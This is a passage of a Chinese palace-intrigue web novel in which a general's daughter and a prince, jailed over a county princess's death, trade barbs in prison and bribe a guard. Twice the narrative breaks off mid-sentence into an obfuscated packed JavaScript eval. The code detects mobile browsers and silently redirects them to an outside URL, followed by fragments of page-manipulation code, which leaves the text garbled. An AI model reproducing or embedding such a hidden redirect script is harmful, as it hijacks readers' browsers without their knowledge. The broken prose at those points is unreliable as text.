孙大伴从手中抖了抖明黄色的圣旨,高声念道:“奉天承运皇帝,诏曰:青阳县主薨逝一案,凶徒未明,着卫燕然、萧玉尘即行逮系,以俟勘鞫。钦此。”
说完,他对二人道:“三殿下,卫娘子,接旨吧。”
卫燕然低头谢恩道:“臣女领旨,谢主隆恩。”
萧玉尘也道:“儿臣领旨。”
两人拍拍衣裳站了起来,旁边宫柳玉也凄凄艾艾地缠了过来。
她紧张地想露出一个微笑,但大抵是不成功的。她问:“孙公公,不知陛下那里,可有关于我儿的旨意?”
孙大伴长叹一声,道:“好好为县主操持后事吧。”
宫柳玉愣住了,结结巴巴地开口道:“那……那我的清儿?”
孙大伴冲她摇了摇头,不说话了。
宫柳玉脚下一软,退后两步,差点摔进水里。
她最后看了一眼卫燕然,又看了看倒在她脚边的青阳的尸体,眼睛一翻就晕了过去。
好在侍女及时接住了她,没让她摔倒。
旁边的御史大夫走过来,对卫燕然和萧玉尘道:“二位。麻烦跟我走一趟吧。”
卫燕然扯出一个笑,道:“有劳王大人了。”
萧玉尘也在一旁点了点头:“有劳了。”
“不敢当,不敢当。”御史大夫擦了擦汗,连连摆手道,“都是分内之事罢了。”
一场闹剧轰轰烈烈地展开,没头没脑地落幕。
事情到了这个地步,春日宴自然是开不下去了。
大家匆匆告别了主家。关系好些的,还能你来我往的客套一会儿再告辞;关系一般地直接驾着马车,烟尘滚滚地离开这个是非之地。
深怕晚走一步,便也会被卷入这场旋涡之中。
大大小小的马车顺着各方小路流入京城的大街小巷,不知明日又会酝酿出什么流言蜚语。
不过这些都暂时与卫燕然和萧玉尘无关,两人很快就被收押在了大理寺。
大理寺卿只到了一面便匆匆离开了,像是有什么要紧事一般,卫燕然想叫人都没叫住。
她叹息一声,阎王好过,小鬼难缠。
监牢之中,自有一套生存法则。管你在外是横行霸道的纨绔也罢,是尊贵无比的皇子龙孙也罢,到了这里,统统一视同仁,都没什么不一样。
没有上峰特意打招呼,接下来几天,她和萧玉尘怕是有得熬了。
哦,也不对。还是有点不一样的:两人没有被分开关押,而是被直接关到了一起。
衙役前脚刚走,后脚萧玉尘和卫燕然又对峙了起来。
萧玉尘收起了在外人面前的风度翩翩,冷眼看着卫燕然,道:“你不打算跟我解释解释吗?”
卫燕然轻轻“哈”了一声,道:“你当时如果不对我露杀意,我会这么对你吗?”
萧玉尘眉头一跳,磨了磨牙,承认自然是不可能承认的:“我不知道你在说什么。”
卫燕然厌烦地看了他一眼:“那就收起你那张皮吧。看了就恶心。”
“你……”
卫燕然懒得理他,给自己找了个还算舒服的位置,老神在在地躺下,翘起二郎脚。
这就显得萧玉尘一个人站在监牢门口的样子很傻。
于是他在离卫燕然最远的地方也找了个位置,想要坐下,但嘴唇抿了半天也没能坐下去。
卫燕然嗤笑一声,果然是锦衣玉食长大的娇气鬼。
然而萧玉尘却并没有做什么无用的挣扎,只是皱了皱眉头,很快就安静地坐下了。
啧,无趣。
他们来的时候已近黄昏,不一会儿天就全黑下去了。
监牢之中,自然不会有人给罪犯点灯。
虽然萧玉尘并不怕黑,但黑暗还是勾起了一些他并不美好的回忆。再加上不时蹿过的黑影和其他监室内传来的窸窸窣窣的动静,让他有些头皮发麻。
卫燕然注意到了他的紧绷,嘴角勾起一抹坏笑,故意问道:“喂,你听到什么声音没有?”
萧玉尘抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303297|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起眼皮看了卫燕然一下,没有吭声。
卫燕然又道:“是老鼠哦。而且不是一般的老鼠,是监牢里吃惯了人的血肉的老鼠哦。”
萧玉尘还是不回答,背倒是挺得更直了。
见萧玉尘这样,卫燕然也失了兴致。她百无聊赖地转移了目光,好烦,他可真是太懂怎么让人感到无趣了。
但就在她看着牢房的天花板发呆时,她用余光瞥见了,萧玉尘的影子好像微微抖动了几下。
她突然意识到了什么,嘴角又勾起了坏笑。
萧玉尘上一次听到“吃人的老鼠”这个说法,还是在十多年前,被太子萧玉明关在一处废弃的宫殿里时,随行的宫人故意恐吓他说的。
当然宫人只是在吓他,废弃宫殿也足够偏僻,有蜘蛛虫蚁,却并没有真的老鼠。他只是一个人缩在角落里担惊受怕了一晚而已。
他当时实在弱小。一个没有见过的、只存在于传言中的“吃人怪物”,就可以把他吓得瑟瑟发抖,一夜难眠。
萧玉尘闭上了眼睛,强行打断这段回想。
卫燕然敏锐地察觉到萧玉尘的情绪不对,于是看了一眼一直板正地坐在角落里的萧玉尘,笑道:“你怎么一直不说话,不会是害怕了吧?”
萧玉尘总算是开口了。他露出一个习惯性的假笑,但刚笑出来就意识到没有人会看,于是又收起了表情,嗤笑一声,冷淡道:“怎么可能。”
“那就好。”卫燕然眼珠子一转,坏心眼地强调道,“监牢的老鼠咬人可疼了,你不怕自然再好不过了。”
萧玉尘没有再理她了。
卫燕然又故意说道:“听说各大监牢之中,就属我们诏狱的老鼠最壮,吃人最多,咬人最疼。”
萧玉尘有些忍不了了,他冷笑一声,道:“少在那里危言耸听。”
卫燕然耸了耸肩,道:“你爱信不信。这些老鼠,最喜欢吃刚用过刑的新鲜血肉了,诏狱用刑最多最重,所以老鼠也就最……”
黑暗中传来萧玉尘的呵斥:“闭嘴!”
卫燕然放声大笑了起来。
两人这关系自然是没什么话可以说的,很快监牢就又安静了下来。
但没过一会儿,卫燕然就听到一声来自萧玉尘的痛呼。
除了那声痛呼外,萧玉尘没有再出声,只是皱着眉头,死命甩手。但咬住他的那东西非但没有松嘴,反而咬得更紧了。
卫燕然坐在一旁,借着从高墙洒下来的月光欣赏了一会儿萧玉尘的惨状,好一会儿才勉为其难地走过去,抓住了萧玉尘的手,伸出手指轻轻一捏,那老鼠就松了嘴。
“吱吱吱——”那老鼠在卫燕然手里不停挣扎着,发出刺耳的叫声。
卫燕然捏着那不知死活的小东西,朝着栏杆的方向随手一扔,只听那老鼠一声惨叫,瞬间就没了声响。
卫燕然挑眉看向萧玉尘,借着月光她能看到萧玉尘难得不掩饰的嫌恶表情——他猛地抽回自己被卫燕然抓住的手,轻轻地甩了两下,就不动了。
卫燕然轻笑一声,回到了原位。
萧玉尘没有卫燕然这么好的视力,他只能看到一个黑乎乎的身影站在自己面前,嘲笑了一声,又回到黑暗处躺下。
他顿时有些气血上涌,面红耳赤。也就是现在光线不明,不然卫燕然肯定能看见三皇子难得的破防红脸。
可能对卫燕然来说并不难得,因为萧玉尘已经不知在她面前栽过多少次了。
不过真说起来,卫燕然虽然嘲笑了他,但她也救了他……可如果不是卫燕然,他根本不会出现在这种地方!
想到这里,萧玉尘又磨了磨后槽牙。他强撑着勉强坐回了原位,不再吭声。
卫燕然也不管他,救他不过只是顺手罢了。她老神在在地躺在茅草堆上,闭目养神,一翻身就迷迷糊糊地睡了过去。
15. 第十五章 牢狱
对萧玉尘而言,这注定是个不眠之夜,虽然他也想像卫燕然那般松弛,但牢里时不时响起的动静总是会第一时间惊醒他。
与之相对的是卫燕然。对萧玉尘而言无心睡眠的漫漫长夜,对她来说,就是眼睛一闭一睁。
听着卫燕然在茅草堆里发出的、平稳的呼吸声,萧玉尘垂下了目光,从茅草里抽出一根细杆,开始在地上写写画画。
四周很是黑暗,但他不需要看清写的是什么字,他只是在借“写字”这一动作来理清思路而已。
卫燕然已经几次三番打乱他的计划了。偏偏他不知道为什么,居然总是在说服自己放过她,这没由来的纵容和隐约的愧疚,就像他上辈子欠了卫燕然一样。
不能再这么下去了。这样下去他到底什么时候才能扳倒太子?太子可是好不容易才开始露出马脚,下一次机会可不知道要等到什么时候。
必须要干掉她了。
就先从她的人际关系开始……
他在地上笔耕不停,如果此时有烛光,卫燕然也醒着,就一定能看出来,萧玉尘写的这是“卫燕然的一百零八种死法”。
但很可惜,当事人睡得人事不知。
突然,卫燕然呓语了两句,萧玉尘惊了一下,僵直了手,停下笔杆,半天不敢动弹。
她要醒了?
但卫燕然只是在茅草堆里翻了个身,继续睡着了。
原来只是在说梦话。
萧玉尘松了口气。
可不知为何,写到一半的计划,怎么也写不下去了。
下一步是,下一步应该……
他死死地抓着茅草杆,最后还是气恼地将杆子摔在一旁,狠狠地擦掉地上的痕迹。
冤孽!他当初就不该招惹她!
当清晨的第不知道多少缕阳光洒进这个监室时,卫燕然才慢悠悠地醒了过来。
醒来的第一眼,就看到坐在角落里、眼里布满红血丝的萧玉尘。
“一夜没睡?”卫燕然调笑地冲萧玉尘道。
萧玉尘冷漠地看了她一眼,并不回答。
即使两人关系到了这个地步,卫燕然也不得不感慨萧玉尘的好相貌。旁人熬一夜会变得憔悴丑陋,偏偏他熬一夜,非但没有折损美貌半分,还给他平添了几分平日里看不到的脆弱,让人忍不住心生怜惜。
美色惑人。卫燕然又开始蠢蠢欲动,忍不住想去招惹他了。
于是她坐直身体,率先打破寂静:“我们和解怎么样?咱俩还不知道要在这里被关多少天呢,你难道就一直缩在那里不说话?”
萧玉尘把头偏过去,作为回答。
卫燕然脸皮厚,对美人她更是愿意多宽容几分,便又笑道:“我知道把你卷进这件事是我不好。可谁叫你要对我动杀心?你若是不起这个心思,我也不会这么对你。总的来说我俩都有错,扯平了吧?”
萧玉尘磨了磨牙:“我才……”
“别说你没动过。”卫燕然语气一变,打断了萧玉尘的话,“我可是上过战场的人,你有没有动杀心我一眼便知……你现在就在动杀心。”
萧玉尘咬牙,压下胸口翻腾的杀意,又将脸别了过去,不看卫燕然,他怕他忍不住现在就想和对方同归于尽。
卫燕然见状,也不勉强。过了一会儿就开始自得其乐地哼着两首跑调的歌,让萧玉尘不堪其扰。
本来就一夜没睡,现在还要听卫燕然唱那八调子唱不到一个音上的歌,简直是精神折磨。
萧玉尘忍了又忍,还是忍无可忍,打断了这不成调的歌声:“别唱了!都跑调了。”
“没唱啊,我也就哼哼。”
“那就也别哼。”
卫燕然轻轻一笑:“你管我!你说我跑调,那你唱一个。你唱我就不唱了。”
“你!”萧玉尘咬牙,最后还是在卫燕然的不要脸面前败下阵来。
他长出一口气,冷漠地盯着牢房内的小窗,开始思考自己是怎么沦落到现在这个地步的。
卫燕然却嘻嘻一笑,只当萧玉尘又开始理她,道:“好了,都说不打不相识嘛。这事儿确实是我办得不地道了,算我欠你一个人情,行了吧?”
萧玉尘冷漠地把脸别回去,不搭理她。他一夜没睡,实在打不起精神面对卫燕然。
卫燕然呵呵一笑,也不在意。
不过萧玉尘就是再不想理人,也总有他不得不面对卫燕然的时候。
比如现在,人有三急……
他的目光在牢房里扫视,最后落在角落的一个桶上。这不会就是牢房里的,的……
卫燕然注意到他的目光,眉毛一挑,笑道:“想如厕了?”
萧玉尘冷哼一声,把脸别到墙边,只留给卫燕然一双涨红了的耳朵。
卫燕然大方地摆手,背过身去,道:“你去你的,我保证不看。”
她……她还保证不看?真是不知廉耻,女流氓!
萧玉尘胸口剧烈地起伏了几下,愤而低头。
卫燕然等了半天也没听到动静,便劝道:“你快去吧,我绝对不会看的!听说男人憋久了不好……”
“你闭嘴!”
卫燕然摸了摸鼻子,不说话了。
萧玉尘垂下目光,平稳了一下呼吸。然后站起身,在牢里喊了两声,叫来了狱卒。
“不老老实实地蹲大牢,你想干什么!”那狱卒凶巴巴地道。
“我要如厕。带我去净室。”萧玉尘说道。
那狱卒上下打量了一番萧玉尘,嗤笑一声:“哪里来的公子哥,进了诏狱还想摆架子?”
萧玉尘冷淡道:“我乃今上三皇子萧玉尘。”
那狱卒“噗嗤”一声笑了出来,道:“真当我傻啊,还皇子?哪个皇帝会舍得让自己儿子蹲诏狱?骗人也不知道找个靠谱点儿的理由。”
“滚滚滚。大爷我今日心情好,不和你这傻子计较。”
说着那狱卒摆了摆手,转身就要离开。
萧玉尘冷眼看着那狱卒,就像在看一个死人一样。
他身上能证明自己皇子身份的皇子令,被当做证物拿走了,他也没有带钱袋的习惯。
威逼不成,利诱不通。这人连他是皇子都不信,硬要威逼恐怕会适得其反。
卫燕然不知什么时候站在了牢门边,道:“狱卒大哥,你看我们这身衣裳应该就知道,我们真不是一般人,当然一般人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303298|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肯定也住不上这条件这么好的牢房。”
那狱卒停下了脚步。
卫燕然又道:“这牢房吃饭睡觉都还好说,可如厕,实在有点为难人了。”
“所以您看,能不能通融一下?”
狱卒转身破口大骂:“就你事儿多!通融?进了牢房谁都……”
卫燕然悄悄递了一块碎金过去。
狱卒接过东西,在手中转了一圈,又放在牙边咬了一下,确定是金子后,才轻咳一声道:“下不为例。”
卫燕然笑道:“好说好说。您看能不能让我这同伴也……”
那狱卒扫视了萧玉尘一眼,眼睛骨碌碌地一转,坏笑起来:“你小子倒是……”
“咳咳。”
卫燕然打断了狱卒的说话声,眼神转冷,一眨不眨地看着那狱卒。
那狱卒被盯得失了兴致,烦躁地打开门,问:“你俩谁先?速去速回啊。”
卫燕然笑着指了指萧玉尘,道:“他先。”
萧玉尘本来没动,但卫燕然走过去在他耳边轻轻说了一句话,他便愤恨地看了卫燕然一眼,跟着狱卒走了,耳朵倒是涨得越来越红。
卫燕然说的是:“你不去,难道是想在我面前表演一番么?”
……
两人轮流解决完人生大事,又回到了牢房。
毕竟受了卫燕然的恩惠,解了他的燃眉之急,而且往后几日说不定都还要靠她,萧玉尘也不好再给她冷脸。
两人都是王公贵族的出生,就没有揣钱袋的习惯,都是身边的小厮丫鬟负责付钱。因此现在除了卫燕然手上那根金钗,两人穷得那叫一个两袖清风。
人在屋檐下,不得不低头。
所以萧玉尘也不追究卫燕然故意戏弄他的事了,只作此事没发生一般。
他绞尽脑汁找了个话题,道:“你在牢房,倒还挺习惯的。”
卫燕然轻笑一声,道:“算是吧。毕竟我当年刚从战场上下来,就被你爹关在牢房里了。”
萧玉尘一噎,虽然他和他爹没什么感情,但在此时被提起这些也还是有些心虚。
他轻咳一声,想转移话题,却还是没忍住对卫燕然的好奇心,问了一声:“为什么?”
卫燕然倒是也不介意,笑道:“因为我砍了他当时派过去的援军头子的脑袋。也就是宫里那位惠妃娘娘的亲哥哥。”
那话说得轻巧,就像是杀了一头猪、一头牛一般,不值一提。
好在萧玉尘也不是一般人,他在深宫二十年,也陆续杀过不少对他不怀好意之人,或直接或间接,故而也不觉得卫燕然的说法有什么不对。
他点头,也不问卫燕然为什么杀人,只是道:“原来如此。你也太不小心了。”
卫燕然笑出了声:“没有不小心,我故意的。”
她笑着摇头,解释道:“一为泄愤,二为卸甲。没什么可惜的。”
“急流勇退,可以理解。”萧玉尘点了点头。
见萧玉尘感兴趣,卫燕然便又挑着说了一些边关的趣事。
说完,卫燕然轻轻偏头,问:“你呢?深宫二十年,我却没怎么听说过你,不如你也说说你的事?”